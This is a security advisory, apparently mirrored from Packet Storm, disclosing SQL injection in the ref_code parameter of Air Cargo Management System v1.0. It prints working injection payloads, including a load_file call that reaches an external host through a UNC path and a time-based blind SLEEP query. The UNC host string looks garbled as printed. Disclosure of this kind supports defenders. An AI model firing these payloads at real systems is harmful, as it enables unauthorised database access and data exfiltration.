Lucene search
K

Air Cargo Management System 1.0 SQL Injection

🗓️ 22 Feb 2022 00:00:00Reported by nu11secur1tyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 240 Views

Air Cargo Management System v1.0 SQL Injection vulnerability on `ref_code` parameter. Load_file function with UNC file path executed external domain URL. WARNING: Extremely dangerous

Code
`## Title: Air Cargo Management System v1.0 remote SQL-Injections  
## Author: nu11secur1ty  
## Date: 02.18.2022  
## Vendor: https://www.sourcecodester.com/users/tips23  
## Software: https://www.sourcecodester.com/php/15188/air-cargo-management-system-php-oop-free-source-code.html  
## CVE - Air Cargo Management Systemv1.0  
  
  
## Description:  
The `ref_code` parameter from Air Cargo Management System v1.0 appears  
to be vulnerable to SQL injection attacks.  
The payload '+(select  
load_file('\\\\c5idmpdvfkqycmiqwv299ljz1q7jvej5mtdg44t.https://www.sourcecodester.com/php/15188/air-cargo-management-system-php-oop-free-source-code.html\\hag'))+'  
was submitted in the ref_code parameter.  
This payload injects a SQL sub-query that calls MySQL's load_file  
function with a UNC file path that references a URL on an external  
domain.  
The application interacted with that domain, indicating that the  
injected SQL query was executed.  
WARNING: If this is in some external domain, or some subdomain  
redirection, or internal whatever, this will be extremely dangerous!  
Status: CRITICAL  
  
  
[+] Payloads:  
  
```mysql  
---  
Parameter: ref_code (GET)  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: p=trace&ref_code=258044'+(select  
load_file('\\\\c5idmpdvfkqycmiqwv299ljz1q7jvej5mtdg44t.https://www.sourcecodester.com/php/15188/air-cargo-management-system-php-oop-free-source-code.html\\hag'))+''  
AND (SELECT 9012 FROM (SELECT(SLEEP(3)))xEdD) AND 'JVki'='JVki  
---  
  
```  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/oretnom23/2022/Air-Cargo-Management-System)  
  
## Proof and Exploit:  
[href](https://streamable.com/ekn92z)  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation